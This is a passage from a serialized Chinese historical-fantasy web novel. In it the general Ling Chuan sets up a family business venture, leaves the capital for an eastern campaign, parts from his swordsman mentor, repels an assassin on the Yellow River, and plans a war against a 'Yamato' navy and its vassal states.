然而宋清泉听后却微微蹙眉,怯生生地道:“姐夫,我有一言,不知当讲不当讲……” “大人说话,哪有你插嘴的份!一边听着!”宋云舟厉声呵斥,对这个儿子显然失望至极。 凌川却抬手制止:“但说无妨!” 宋清泉忐忑地看了眼父亲,这才小心翼翼地说道:“姐夫这个想法虽好,但神都不比北境,气候暖和,对狼血酒和棉布的需求没那么大。况且神都富贵人家多,酒该保留狼血的清醇,但应降低酒性的浓烈。再说非说纺织机,若用来织造绫罗绸缎,那效率简直不敢想象!” 他越说越兴奋,继续道:“最重要的是,咱们该把目光放在神都的富贵人家身上,这样才能赚更多银子!” 凌川闻言心中暗赞,这宋清泉果然有经商天赋,仅凭三言两语就能指出问题关键,还能精准把握市场定位,实属难得。 “若将此事交给你来办,你能办妥吗?”凌川笑问。 “没问题!”宋清泉拍着胸脯保证,随即眼神一黯,“只是……我没有本钱。” “哈哈哈,这个好说!”凌川爽朗一笑,“陛下赏赐的五千两黄金,全数给你做本钱!” “真的?姐夫真要给我五千两黄金做本钱?”宋清泉不敢置信地睁大眼睛。宋家众人也都怀疑自己听错了。 凌川正色道:“本钱我可以给你,但你得给我个期限,何时能把本钱赚回来?” “三个月!”宋清泉咬牙道,“最多三个月,我定将本钱全数赚回!” “好!一言为定!”凌川当即应下。 “小川,这五千两黄金不是小数目,你就这么交给他,万一……”宋云舟眼中满是忧虑。 凌川却爽朗一笑:“我相信清泉的能力,不过还要劳烦舅舅和外公帮着盯紧些!” 片刻后,凌川起身告辞:“此事就这么定了,明日便要起程前往东疆,今晚回去后,我会将相关事宜写成文书,明日交给你!” 此时的宋清泉满面红光,精神焕发,急忙道:“姐夫,我随您一同回王府,咱们当面商议岂不更好?” 凌川没料到他如此积极,只得看向宋云舟,后者无奈摆手:“去吧去吧。” 这时苏璃也与外祖母叙话完毕,出来拜别祖父和舅舅后,便与宋清泉一道离开了宋府。 “小川,战场凶险,你可千万小心啊!”宋府门口,宋鹤年面带担忧之色,说道。 “外公放心,我会小心的!”凌川点头说道。 旁边,老夫人也满脸不舍地拉着苏璃的双手,说道:“小璃,如今你已嫁做人妇,切不可像以往那般任性,要学会相夫教子,早日生个大胖小子!” “外婆,小璃知道了!”苏璃声若蚊蝇,玉面羞红。 第一卷 第539章 离开神都 回到王府时,亲兵早已将行装打理妥当,只待次日黎明起程。 凌川与苏璃并肩而行,引着宋清泉步入书房。 他们需将一应生意往来从头梳理,这些生意日后都将交由苏璃执掌,故而主要是她与宋清泉进行交接。 不得不说,宋清泉在商事上确有过人天赋,许多关节只需稍加点拨,他便能立刻领悟,那双明亮的眼睛里时常闪过灵光,甚至能提出独到见解与更佳方案,言语间充满自信。 待诸事交代完毕,已是夜深,宋清泉起身告辞,脸上虽带倦色,眼神却仍清亮。 然而他刚走到门口,凌川却忽然唤道:“清泉!” 宋清泉闻声驻足,转身时衣袂轻扬:“姐夫,您还有何吩咐?”他微微侧首,面露询问之色。 “你要多少酬劳?”凌川直视着他,目光如炬。 “我不要酬劳!”宋清泉连连摆手,脸上浮现欣慰的笑容,“父亲总说我胸无大志,我只需一个机会证明自己并非庸才便心满意足。姐夫肯给我这个机会,我已感激不尽,哪还敢要什么酬劳?”他说这话时,语气真挚,眼中闪着坚定的光芒。 “这不行!”凌川摇头,神色认真,“一事归一事。我给你三成商股,往后无论盈利多少,你永远占三成。若是亏损……” 不待凌川说完,宋清泉便急切地接过话头,眼中闪烁着兴奋与自信:“姐夫、姐姐放心,我向你们保证,绝对亏不了!而且三成实在太多,我只要一成就好!”他说话时双手不自觉地握紧,显示出内心的激动。 待他离去后,苏璃轻蹙蛾眉,柔声问道:“相公,你觉得清泉可靠吗?”她的目光中带着几分担忧。 凌川明白,苏璃是担心自己因着她的情面,才将五千两黄金的生意交给宋清泉,她并非在意那些金银,而是怕万一宋清泉将事情办砸,会影响两家的情分。 “娘子放心!”凌川轻抚她的肩头,语气笃定,“清泉只是性子单纯,并非愚钝。在经商方面,他有着超乎常人的天赋。我相信,他定能将此事办妥,甚至可能超出我们的预期!”他说话时,眼中满是信任的光芒。 听凌川这么说,苏璃才稍稍安心,眉间的忧虑渐渐散去。 “娘子,别再胡思乱想了!”凌川忽然揽住苏璃的纤腰,嘴角勾起一抹坏笑,“咱们还有正事没办呢。” 苏璃微微一怔,抬眼望他,眸中带着困惑:“还有什么正事?” “你忘了临别时外婆是如何嘱咐的?”凌川凑到她耳边,压低声音说道,温热的气息拂过她的耳畔。 “相公……”苏璃顿时羞红了脸,颊上飞起两朵红云,却任由凌川将她横抱而起,走向床榻。 …… 九月十三,秋高气爽。 镇北侯凌川率领队伍离开神都,长长的朱雀大街两旁早已挤满了百姓,比几日前大军出征时还要热闹几分。 如今凌川封侯的事迹已传遍神都,消息正以惊人的速度向帝国各州县传递。 皇帝率文武百官齐聚宣武门上,目送凌川出城。 凌川身披蟒袍,端坐于汗血宝马之上,所过之处,百姓纷纷行礼,高呼‘镇北侯’。 凌川面带微笑,一一拱手还礼,举止从容不迫。 宋鹤年望着那道身姿挺拔、气度不凡的年轻身影,眼中既有欣慰,也藏着一丝难以察觉的担忧。 “父亲,小川吉人天相,您就放心吧!”宋敬芝轻声安慰,目光却始终追随着凌川的身影。 另一边,安国公张泊远的目光始终落在孙子张破虏身上,张破虏虽刚成年,但身形魁梧,眉宇间已初现大将风范。 尽管在凌川面前说得洒脱,将门子弟本该卫国戍边,但此刻张泊远眼中仍流露出不舍,毕竟,这是张家唯一的血脉了。 “老爷,小少爷已经成年,是该放手了!”身旁的姚管家低声劝道。 “是啊……”张泊远轻叹一声,语气中带着几分落寞,“往后就是这些年轻人的天下了,我们这些老骨头,不中用咯!” 这位姚管家并非寻常仆役,而是当年安国公统率东疆水师时的亲兵校尉,是随他出生入死的兄弟。 十年前,安国公遭逢丧子之痛,心灰意冷地交出帅印、解甲归田,这位亲兵校尉也随他离开军营,在国公府当起了管家。 另一侧,华昭妃眼中写满了不舍与牵挂。 她的目光在凌川的亲兵队伍中搜寻,最终定格在一道略显单薄的身影上,尽管相隔甚远,且众人都穿着相同的铠甲,她还是一眼就认出了自己的儿子。 若非万不得已,哪个母亲愿意让儿子远离身边?但她心里清楚,若让他继续留在皇宫,十有八九会死在接下来的夺嫡之争中。 将他送往边关战场,是迫不得已的选择,虽说他们母子对于皇位从来都没有过非分之想,但身处漩涡之中,根本由不得他们选择。 三皇子周灏端坐马背,鉴定的目光直视前方。 他知道母妃正在某处注视着自己,却不敢回头,生怕一回头就会忍不住落泪。 此时的华昭妃早已掩面而泣,两行清泪顺着脸颊滑落。 “别哭了!”皇帝缓步来到她身边,轻轻揽住她的肩膀,“他是朕的儿子,去边关建功立业,为朕争光,说不定下次再见时,他已经穿上将军甲了!” 华昭妃轻轻点头,却说不出一句话,生怕一开口就会泣不成声。 走出宣武门,凌川终究忍不住回头,望了一眼这座号称天下第一城的千年神都。 他们满打满算只在神都待了半个月,可这半个月里发生了太多事情,多到许多环节至今仍未理清。 随着那座如巨兽般的神都在身后渐渐远去,众人也收起心神,专注于前路。 根据此前接获的情报,大和水军以济州岛为大营,散布在东疆海域。尽管目前双方尚未正式交锋,但局势日益紧张。 眼下,东疆水师只能被动布防。但海岸线绵长,三十万东疆水师若化整为零布防,一旦敌军集中兵力进攻,根本抵挡不住。 然而,若要沿海布控的同时保留足够兵力随机应变,三十万东疆水师就显得捉襟见肘。 第一卷 第540章 前往东疆 数日前,兵部已下达军令,从徐州、兖州、青州等十余个州抽调兵力支援东疆,但最快也要十余条援军才能抵达沿海,毕竟,支援前线可不仅仅是调兵那么简单,粮草补给更是重中之重。 所幸,目前大和水军尚不知他们控制了大和使团的消息,这为他们调兵遣将争取了时间。但估计大和使团被控的消息也隐瞒不了多久,时间对他们来说异常紧迫。 此外,另一则紧急军情也在前几日传来,新罗突然出动水师侵扰登州、莱州一带;百济更是大举出兵,攻打大周辽东,试图占领辽东地区,以卑沙城为核心,北控营州,与沧州、莱州、青州隔渤海相望,随时可以伺机而动。 无论是新罗、百济,还是高丽、海东等众多小国,原本都是大周的附属国。就连大和帝国,也曾不止一次向中原王朝俯首称臣。 然而近几十年来,大周日渐衰弱,大和便暴露其狼子野心,先是威逼利诱策反了这一众小国,之后更是迫使他们充当马前卒,不断侵扰大周边疆,令数十州百姓常年遭受盗贼洗掠,无数人惨死在屠刀之下。 这一次,显然是大和帝国故技重施,眼看大周江河日下,企图一举叩开东疆国门,进而长驱直入,占领中原。 眼下东疆局势危在旦夕,刻不容缓。 凌川一行的行程是先行前往周南渡,改乘船只沿水路东行,汇入黄河,最终抵达棣州,路程虽不及北疆遥远,但若陆路骑马行军,至少需要一月才能抵达。 幸好这一路皆为顺水行船,速度会快上许多,加之无需休整可日夜兼程,估计不出半月便可抵达。 “苍蝇,传令下去,让兄弟们抓紧赶路,一口气赶到周南渡。等换了船,有的是时间休息!”凌川对苍蝇下令道。 “是!”苍蝇抱拳领命,随即迅速将命令传达下去。 为加快行程,苏璃也主动从马车上下来,改骑战马。 “将军,要不我也骑马吧?”翠花试探着问道。 “别别别,你还是继续赶车!”想到翠花那惊人的重量,凌川连忙制止。毕竟拉车的是两匹马,若让翠花骑马,估计赶到周南渡时得损失几匹战马。 相比来神都时,队伍中马车少了许多,行进速度大大提升,但即便如此,赶到周南渡时已是半夜。 虽是在官道上赶路,这般急行还是让人马俱疲,所幸周南渡的四艘战船早已在此候命,每艘可容纳两百人,他们这七百余人倒显得宽松。 这些战船上早已备好粮草食物,底舱设有马厩,可安置战马。 苍蝇、沈珏与洛青云几人安排士兵有序地将战马牵到战船底舱。 好在这些都是训练有素的战马,很快便安置妥当,但每艘船上还是安排了一些士兵在底舱照看战马,毕竟这些马匹没坐过船,一旦受惊,需要立即安抚。 仅用一个时辰,所有人便登船完毕,四艘战船扬帆起航,顺流而下。 尽管是在船上,各船还是安排了人手在甲板上轮流巡哨。 一支合格的军队,无论身处何种环境,都必须保持警惕,这是最基本的素养,也是必不可少的警戒。 即便是平时训练有素的士兵,经过这十多个时辰的急行也十分疲惫,除了值守士兵外,其他人进入船舱后,卸下铠甲倒头便睡。战船还未完全驶离码头,船舱内已是鼾声如雷,此起彼伏。 然而凌川却毫无睡意,就在上船前,北疆的情报也送到了周南渡,第一时间传到他手中。 早在皇帝决定与大和水军开战时,凌川便请示陛下,从自己的云州军中抽调兵力前往支援。 也就是在那个时候,他派孟钊火速赶回北疆节度府,将皇帝的亲笔调令交到大将军卢恽筹手中。 调令中除了点名让凌川到东疆担任先锋将军外,还按照凌川的要求,从云州军玄甲营中抽调两千重甲,从雁翎骑中抽调三千轻骑,另从夜枭营中抽调一千斥候,直接自靖州借道,进入东疆境内。 刚传来的情报显示,一千夜枭营斥候已于三日前出发,数日便可抵达辽东。紧随其后的雁翎骑与玄甲营也已出发,速度或许不及夜枭营,但最多十日便可抵达辽东。 凌川手持两封情报,除了北疆送来这封,还有东疆送来的军情。 他迅速将这两封情报的内容在脑中分析整理,随即下达十余条命令。 三皇子周灏坐在一旁,执笔疾书,将凌川的命令一字不落地记录下来。 紧接着,他又迅速誊录两份,按要求用火漆封口,盖上将印,交给凌川。 “天亮后你便下船,将命令送到纪天禄、柳衡和唐岿然手中!”凌川将三份军令交给孟钊,神色肃然。 “遵命!”孟钊接过军令,郑重抱拳。随即将信函放入牛皮袋中,牢牢绑在胸前,“将军,时间紧迫,卑职就不等天亮了,一会找个合适的地方放我下船即可!” 凌川点头:“万事小心。” 随后,凌川再次将目光投向东疆地图,上面是他做出的详细标注,甚至详细到每个地方的兵力数量、兵种配置乃至粮草补给。 可以说,整个东疆局势,已尽数印在凌川脑中。 他略作沉吟,便让周灏提笔,写下一封书信。 信中不仅提到自己的部分战略部署,还将大和水军及诸多小国接下来可能采取的行动全部列出,命人以最快速度送到青州,交到林远图手中。 东海节度府位于青州,林远图坐镇于此,执掌整个东疆防线。 对林远图的能力,凌川所知不多,且大多来源于情报或他人口述,自己贸然献策,或许会得罪这位东疆主帅,但在此危急关头,也顾不了那么多了。 “去休息吧!”凌川对周灏说道。 周灏点头,恭敬退下。 凌川和衣而卧,但天刚亮便再次醒来。 “相公,虽然军情紧急,但也要注意休息,不然身体会吃不消的!”苏璃带着翠花走来,面露忧色。 凌川微笑点头:“娘子放心,我会照顾好自己的!” 第一卷 第541章 不败神话 随即凌川召来沈珏,问道:“弟兄们情况如何?” “不少人出现晕船,好在之前按将军要求准备了大量药物,已让后厨熬制好分发给弟兄们,服药后,症状缓解了许多。”沈珏回禀。 凌川点头,这个情况他早有预料。 北人多数善骑少乘船,而北系军多为北方人,晕船是再正常不过的事,这也是他们需要克服的第一个难题。 “战马呢?”凌川又问。 “起初不少战马确实受惊,但控制及时,未出乱子!”沈珏回禀。 “一定要看好战马,开战后那就是弟兄们的腿,千万不能出差错。还有,即便在船上,也不能放松警惕!”凌川叮嘱。 “明白!” 次日黄昏,队伍抵达东都,洛水也将在此地汇入黄河。 他们在此换乘大船,七八百人只需两艘即可,大船更为平稳,船上各种补给和布置也更完善。 虽然一直行船,但每日都有情报传来,有的来自东疆,有的来自唐岿然、纪天禄和柳衡这几支军团,确保凌川能随时掌握东疆整体局势。 这几日,凌川得空便会在船头盘腿打坐,任凭船下黄河咆哮,他的内心却平静如水,丝毫不受影响。 这段时间,凌川修炼道藏的时间不多,但每次打坐后,对这部道门始经的理解都会深刻几分。这也使他对真气的运用和招式的施展有了实质提升。 第三日清晨,天蒙蒙亮。 凌川坐在船头,身边放着特意留下的一坛狼血,望着大船前进的方向。 不多时,杨铁匠从船舱走出,依旧穿着那件青衫,除了从不离身的酒葫芦外,肩上还挎着一个巴掌宽的木匣。 凌川见状,已猜到他的来意。 大概是到了分别的时刻,毕竟杨铁匠要去的白云城远在长江的入海口,前方不远就要分道扬镳,回想这一路的经历,凌川心中感慨万千。 见凌川面带愁容,杨铁匠连连摆手,粗犷的脸上露出洒脱的笑容:“别跟我玩泪洒离别那一套,老夫年纪大了,经不起这般煽情!” 此言一出,当场冲淡了离别的愁绪。凌川拍开封泥,给二人各倒一碗狼血酒,轻轻一碰。 “凌小子,江湖路远,你我今日一别,此生多半再无相见之日,各自保重吧!”杨铁匠说完,将碗中狼血一饮而尽,眼中闪过一丝不易察觉的落寞。 听到这话,凌川心中沉重,但人生本就如此,每个人都是自己生命的主角,却都是别人生命中的过客,没有谁能真正相伴始终。 “杨老头,我知道拦不住你去白云城,但你答应我,无论输赢,打完就回北疆。你的狼血我都给你留着呢!”凌川又给他倒了一碗酒,声音有些但又。 “哈哈哈哈……”杨铁匠爽朗大笑,笑声混着浪潮,在河面上回荡,“一旦放开手脚,就不是分胜负那么简单了!” “白云城城主,到底有多强?”凌川忍不住问道,眼中充满好奇。 杨铁匠灌了一口酒,望向即将破晓的东方天际,目光深邃:“他是一个从未败过的江湖神话。” “江湖神话?”凌川喃喃道,心中震撼。 这四个字从杨铁匠口中说出,分量可想而知。 “几十年来,前往白云城挑战的人不计其数,且无一不是江湖上排得上号的强者,宗师境高手更不在少数。可莫说击败他,能让他使出全力的都屈指可数!”杨铁匠点头说道。 “他这么强?”凌川大为震惊。 “修炼本就不是一蹴而就的事。天赋根骨、心智韧性、机缘造化、后天努力,缺一不可。若是这些因素集中在一个人的身上,那他必然会成为天下第一!”杨铁匠缓缓道,“而白惊霆,就是集这些于一身的人!” “据说他是上任城主的养子,武道天赋极佳,十六岁便已是先天大圆满,二十岁登临宗师境,三十岁一举跨入陆地神仙境。此后老城主去世,他接管白云城,成为白云城城主。迄今为止,他已无敌整整一甲子!” “陆地神仙?那是什么境界?”凌川满脸震惊。 “宗师之上便是陆地神仙境!”杨铁匠解释道,“只不过这个境界并非固定。虽说宗师境强者都有机会跨入陆地神仙境,但极少有人能长久保持,基本都会在不久后跌回宗师境。” “准确说,陆地神仙境并非固定境界,而是一种状态。宗师境强者在获得感悟或特殊契机时,会突破到这个境界,实力瞬间暴涨。但少则两三个时辰,多则一两个月便会跌回宗师境。极少有人能一直保持在陆地神仙境。除了白惊霆!” 听到这里,凌川不禁倒吸一口凉气。 陆地神仙有多强,他不清楚。 但从这个境界的名称便不难想象,那是超越武修范畴的存在,否则怎敢带有‘神仙’二字? 许多宗师境强者终其一生也难以体会这个境界的玄妙。即便是天赋卓绝之辈,能不止一次跨入这个境界,也始终无法长久保持。 但白惊霆却打破常理,让自己一直停留在武道巅峰,想想就令人心惊。 难怪江湖流传:白云城是世间武道的巅峰,白惊霆是天下武修的心魔。 无论多么惊才绝艳之人,在见到白惊霆后都会心境受损,许多人在听说他的事迹后,甚至会修为停滞,再难突破。 如此看来,这绝非虚言! “细细数来,前往白云城挑战的江湖高手中,老夫是最有希望战胜他的人。那一战,我也确实逼得他拼尽全力。只可惜,当时的我剑心有缺,未能施展出完整的大江东去……”杨铁匠叹息一声,眼中闪过复杂的神色。 “那你现在还能重新突破到陆地神仙境吗?这一战有几成胜算?”凌川很是担忧地问道。 “陆地神仙境对老夫而言,不过是自家后花园,想进就进。至于把握……”杨铁匠粗粝的脸上露出几分笑意,反问道,“九成和一成,其实并无本质区别。若事事十拿九稳,那岂不是很无趣?” 第一卷 第542章 江湖无趣,就酒还行! 凌川微微点头,目光落在他背后的木匣上:“那,能否让我看看您的新剑?” 杨铁匠摇头:“当初剑成之后,我便将其封于匣中,日日以剑气滋养。如今这剑匣中已积攒无尽剑气,一旦开匣,势必石破天惊!我这一剑,是专为他准备的!” 凌川神色微变,他知道杨铁匠一直的执念就是重铸大江剑,当初自己得到赤络星陨时,他眼中的激动至今历历在目。 令凌川疑惑的是,从北疆回神都这一路,都未见杨铁匠使用新铸的剑,无论是在岊湬阁斩杀蛇王,还是在望云关一剑击败梁桂章,乃至离开神都前在李家,都未见他动用新剑。 原来,从铸剑之初,他就决定要去白云城,若不是自己强拉他去神都,恐怕他早就直奔白云城而去了。 凌川伸手要过杨铁匠的酒葫芦,将狼血酒灌满,塞好塞子递还给他:“杨老头,这江湖要是没有你,该多无趣啊?” “哈哈哈……”杨铁匠大笑,“你小子又不是江湖人,在这伤春悲秋个什么劲?”他脸上的笑容渐渐敛去,晃了晃酒壶,叹道:“不过这江湖确实无趣,也就酒还行!” 终于,天光破晓,一轮红日跃出东方云层,朝阳洒在滚滚黄河上,散发出万道霞光。 就在这时,杨铁匠缓缓起身,将酒壶牢牢系在腰间,随即一把抓起剑匣。 “凌小子,你需记住:武道一途,兵器、功法、招式皆是外物,真正强大的始终是人!”说完,他脚步轻点,直接跃下船头。 片刻间,一道身影踏着河面上的万道霞光迅速远去,最终消失在视线中。 凌川朝着杨铁匠离去的方向,深深鞠了一躬。 平日相处虽没大没小,但凌川心里早已将他视为师长。 且不说他是自己修炼之路的引路人,单是神都之行就多次救自己性命,这种种恩情,凌川终生难忘。 凌川深知,杨铁匠铁了心要去白云城,那是他的执念,也是他的夙愿,无人能阻。自己能做的,唯有祈愿他平安归来。 朝阳的金辉逐渐驱散了河面上的薄雾,也驱散了深秋寒意。 凌川独自静坐船头,目光深邃地注视着脚下滚滚东去的黄河之水,脑海中不由自主地浮现出与杨铁匠相处的点点滴滴。 从最初请他打造破甲箭的相识,到后来成为忘年之交的相知。 在他心中,杨铁匠既是令人敬重的长辈,又是心意相通的知己;既是冠绝江湖的一代剑神,又是嗜酒如命的落魄铁匠。 想起他斩杀蛇王、重创梁桂章时的绝世风姿,宛如九天仙人临凡;而平日里那不修边幅的邋遢模样,又活脱脱是个市井凡夫。 或许,这正是他最真实的模样吧! 望着奔流不息的黄河,或是心有所感,又或是触景生情,凌川不自觉地朗声吟诵起来:“君不见,黄河之水天上来,奔流到海不复回!” 他执起酒坛,学着江湖侠客的豪迈姿态,仰头灌下一口烈酒。 狼血酒的烈性仿佛点燃了他胸中的豪情,似乎要将这段时间积压在心底的郁结尽数释放。他继续纵情吟诵: “君不见,高堂明镜悲白发,朝如青丝暮成雪!人生得意须尽欢,莫使金樽空对月!天生我材必有用,千金散尽还复来……” “古来圣贤皆寂寞,惟有饮者留其名。陈王昔时宴平乐,斗酒十千恣欢谑……” “主人何为言少钱,径须沽取对君酌;五花马、千金裘,呼儿将出换美酒,与尔同销万古愁……” 吟罢最后一句,凌川将坛中剩余的狼血酒一饮而尽,眼神中既有豪迈,又带着几分难以言说的怅惘。 “与尔同销万古愁啊……杨老头,酒我都给你留着,记得早点回来!”他对着空酒坛喃喃自语,嘴角泛起一丝苦涩的笑意。 就在此时,一道冰冷的嗤笑声破空传来:“先不论他回不回得来,你怕是等不到那一天了!” 凌川凝神望去,只见前方一艘简陋的木筏静静漂浮在汹涌的河面上,一名身着黑色长衫的中年男子负手而立,背上斜挎一口古朴长刀。 任凭江水如何翻滚汹涌,那木筏竟纹丝不动,显露出此人精深的内功修为。 凌川神色微凛,虽然相隔百丈之遥,但他却能清晰地感受到对方身上散发出的凛冽杀意,更准确地说,是来自那口长刀的森然杀气。 “阁下是何人?”凌川沉声问道,声音在江面上清晰地传开。 “隐锋谷,吴堂!”男子的回答简洁有力,在黄河波涛声中回荡。 凌川此前与沈七岁交谈时,他曾听说过隐锋谷的名号。 这个门派在江湖中只能算二流,莫说宗师境强者,就连九重境的高手都未曾出过,大多数时间,这个门派最强者也就是一位七重境小宗师,唯独这一代,隐锋谷出了一位八重境高手,便是眼前这位名为吴堂的男子。 不过沈七岁当时特别提到,隐锋谷的绝学‘隐锋八式’是一套极为精妙的刀法,擅长隐匿锋芒,一旦发现破绽便疾如闪电般出手,力求一击必中,江湖上不少成名高手都曾在这套刀法下吃过亏。 “阁下专程在此等我?”凌川挑眉问道。 吴堂倒也坦荡,直言不讳:“吴某特来取你项上人头!” “你确信能杀得了我?”凌川神色平静地望着他。随着战船逐渐靠近,凌川甚至能看清他脸上细微的表情变化。 “富贵险中求,不试上一试,怎知结果?”吴堂目光如刀,反问道:“是你下来,还是我上去?” 凌川淡然一笑,摇了摇头:“我不会下去,而且我保证,你也上不来。” 就在他话音落下的瞬间,甲板上传来密集的脚步声。 只见苍蝇与沈珏已率领大批亲兵冲上船头,一把把破甲弓从船舷探出,三棱破甲箭在朝阳下闪烁着慑人寒光。 吴堂见状,脸色顿时阴沉下来:“凌川,你堂堂镇北侯,难道连与我一战的勇气都没有吗?” “我手握优势,轻松便可取你性命,为何要冒险与你一战?”凌川面对激将法丝毫不为所动,语气平静如水,“你口中的公平,只是对你而言,对我来说,现在这般就很公平!” 第一卷 第543章 隐锋谷,吴堂! 吴堂显然没想到,凌川竟会如此答复,脸上带着几分怒意,喝道:“用这等卑劣手段,即便杀了我,你也必将成为江湖笑柄!” 凌川轻轻一笑,眼中闪过睿智的光芒:“你想多了。我本就不是江湖中人,何必遵循你们那些所谓的江湖规矩?更何况,在我看来,任何规矩都不及性命重要!” 说完,凌川缓缓抬手,沉声喝道:“弓箭手准备!” “嘎吱嘎吱……” 弓弦紧绷的声音接连响起,冰冷的箭镞闪烁着致命寒芒,齐刷刷对准了吴堂。 面对越来越近的战船和密密麻麻的箭矢,吴堂虽心有不甘,却也无计可施。他狠狠地瞪了凌川一眼,随即一个猛子扎进汹涌的河水中,瞬间被滚滚江水吞噬,不见踪影。 苍蝇看着那随波逐流的空竹筏,满脸鄙夷地啐了一口:“癞蛤蟆背大刀,装什么杀手!” 此言一出,原本紧张的气氛顿时缓和下来,那些神色严肃的亲兵们也忍不住笑出声来,纷纷松开了弓弦。 “好了,都散了吧!”凌川挥了挥手,语气恢复了平和。 战船并未因此停留,继续顺流而下。然而没有人注意到,不远处的一道黄土山脊上,几道身影正静静注视着这两艘军舰。 “看来,这一路是没机会出手了!”一名手持布幡、留着山羊胡的老者叹息道。 另一位手持竹箫的玉面公子神色阴冷:“我现在开始怀疑,当初接这个任务是不是个正确的选择!” 旁边,头插凤头金钗的妖娆女子轻捻着一缕秀发,在指间缠绕把玩:“头儿,你好歹说句话啊,咱们是继续追到东海,还是就此罢手?” 手持竹竿、腰间挎着竹篾鱼篓的男子微微摇头:“收手吧,禀报总部,任务失败。” …… 进入黄河的第五天,他们终于追上了蓝少堂率领的大军。 二十多艘战船帆樯如云、舳舻相继,在河面上排开壮观的阵型,顺流而下,气势恢宏。 很快,舵手在船头打出旗语,前方战船会意,主动让至一侧,凌川的两艘战船趁机上前,来到船队中段。当与蓝少堂的中军战船齐平时,后者通过跳板来到凌川的船上。 “侯爷!”蓝少堂抱拳行礼,神情恭敬。 “还是跟他们一样,称我将军吧!”凌川笑道,“侯爷这个称呼,听着总觉得别扭!” 蓝少堂也咧嘴一笑,露出雪白的牙齿:“末将原以为将军要过两日才能追上,没想到这么快就赶上了!” “东疆形势紧急,不敢耽搁!”凌川神色转为严肃。 二人进入船舱后,凌川问道:“这一路可还顺利?” “一切顺利,这次末将选人时,优先挑选了水性好的士兵!”蓝少堂回禀道。 凌川点了点头,随即将东疆目前的局势简要介绍了一遍,问道:“你觉得,这一仗该怎么打?” 蓝少堂剑眉微蹙,沉思片刻后说道:“大和倭奴明显是想让那些小国充当炮灰。这些小国虽然实力不济,但若一同发难,也足以让我们疲于应付。最重要的是,我们一旦分兵对付这些小国,防线必然空虚。届时十万倭奴全军出动,东疆势必失守!” “但若我们对这些小国置之不理,他们定会得寸进尺。大和倭奴只需按兵不动,牵制住东疆主力,那些小国就足以让我们遍体鳞伤。这不是阴谋,而是赤裸裸的阳谋!”蓝少堂继续说道。 凌川赞许地点头:“所以你认为,我们是应该先与大和水军决战,还是先剪除这些小国?” “若先对这些小国出手,大和倭奴绝不会坐视不理,必会果断出击。到时候我军将面临多处受敌的险境!”蓝少堂神色凝重,“但若直接与大和水军展开决战,风险实在太大。若是赢了还好,腾出手来轻而易举就能收拾这些跳梁小丑;可若是输了,后果不堪设想!” 凌川轻叹一声,说道:“何止是输?即便是没能一举击溃大和水军,陷入持久战,我们都将陷入绝对被动。所以,如果要决战,不仅要胜,而且要保证在短时间内取得大胜!” “此事关系重大,末将不敢贸然决断!”蓝少堂苦笑道,“要不然,陛下也不会让末将来给将军打下手了。” “是啊!”凌川会意一笑,“若是战事失利,砍脑袋也是先砍我这个先锋将军嘛!” 蓝少堂尴尬地笑了笑,试探着问道:“想必将军心中已有妙计了吧?可否说出来,好让属下长长见识?” “哪有什么妙计,不过是见招拆招罢了!”凌川轻叹一声,接着说道,“我已经从北疆调兵前往辽东,先要把新罗和百济这两只马前卒解决掉。” “这些家伙,都是典型的畏强欺弱、吃硬不吃软!”蓝少堂愤愤不平,“大周强盛时,他们乖得像孙子一样;近几十年大周势弱,他们便开始不安分。特别是近年来更是凶相毕露,不仅屡犯我大周边境,还与倭奴勾结,妄图瓜分我大周疆土!” “他们之所以供大和驱使,归根结底是心里惧怕大和!”凌川冷静分析,“在此之前,他们已经被大和打怕了。我们若是比大和更凶残、更狠辣,他们非但不敢敌视我们,反而会调转刀锋,给我们充当炮灰去对付大和!” 蓝少堂若有所思地点头,显然认同凌川的观点。但问题是,想要在短时间内让新罗和百济心生恐惧,难度可想而知。毕竟,人的恐惧不是一时半会儿就能形成的。 “让他们恐惧,最简单直接的方式就是杀人!”凌川声音平静,眼底却翻涌着如潮的杀机,“杀一千人不够就杀一万人,一万人不够就杀十万人,直到杀到他们胆寒为止!” 哪怕是久经沙场的蓝少堂,接触到这道目光,内心也不由得生出一股寒意。 “将军从北疆调来了多少人?”蓝少堂试探着问道。 “五千骑兵,一千斥候!” 听说只调来六千人,蓝少堂顿时露出惊愕之色,百济虽是小国,但却出动了三万大军,六千人劳师远征,能顶事吗? 就在这时,凌川再次开口补充道:“还有咱们这一万余禁军!” 第一卷 第544章 抵达棣州 “将军的意思是,咱们的目标不是大和水军,而是去辽东?”蓝少堂震惊地问道。 紧接着,凌川将自己的计划一一道出,当然,现在透露给蓝少堂的只是前半部分,关于前往辽东对付新罗和百济的作战方略。 蓝少堂听后满脸震惊,显然被凌川这个大胆的想法吓到了。关键是,这已经不仅仅是个想法,而是即将执行的命令。 “将军,您可曾想过,卑沙城只有区区两千守军,等北系军赶到的时候,卑沙城多半已经失守了,一旦北系军那边不能按时夺下卑沙城,咱们跨越渤海可就成了无根之萍了啊!” 凌川却胸有成竹:“放心,他们一定可以!你现在需要考虑的是,咱们这一万人自卑沙城登陆后,这仗该怎么打。” 忽然,蓝少堂像是想到了什么,正色问道:“将军,林大将军若是知道了,估计不会同意吧?” 凌川淡然一笑:“无妨,陛下已经准了!” 按行程计算,再过三日便可抵达棣州。虽然大和的十万水军还没有动静,但新罗、百济的攻势却愈发猛烈。 百济三万大军距离卑沙城已不足两百里,以卑沙城区区两千守军,根本不可能守得住。 此外,新罗水师也越发猖獗,在登州、莱州一带频繁登陆,屠杀百姓、劫掠物资。 各州援军都还在路途之中,节度府面对一封封求援信也是爱莫能助,毕竟他们现在的主要精力还得放在防范大和水军上。 节度府唯一能做的,就是让登州和莱州的守军掩护百姓向内地撤离,将这两处临海州郡暂时丢给新罗水师。毕竟他们兵力有限,占不了太大地方,更不敢渗透太深,以免被截断退路。 抵达青州境内后,凌川令战船短暂停靠,随即命蓝少堂派一支百人小队将大和使团送往节度府,同时将自己的一封密信带过去,面呈林远图。 然而,就在战船即将起航时,蓝少堂前来禀报,说雪姬公主要见他。 凌川眉头微挑:“她见我做什么?” “末将问了,她说只能当面与将军说。”蓝少堂回禀道。 “好,那我就去见见她。”凌川说完便准备下船。苍蝇正要带人跟上,却被凌川制止:“我自己去就行了!” 苍蝇本想劝阻,但想到自家将军如今的实力,现在的大和使团中确实无人能伤得了他。 再次见到雪姬,她比之前明显消瘦了许多,脸上不施粉黛,露出了本来面目。这次凌川看得很清楚,她虽然有些丰腴,但并不丑陋,反倒比那惨白的妆容要顺眼许多。 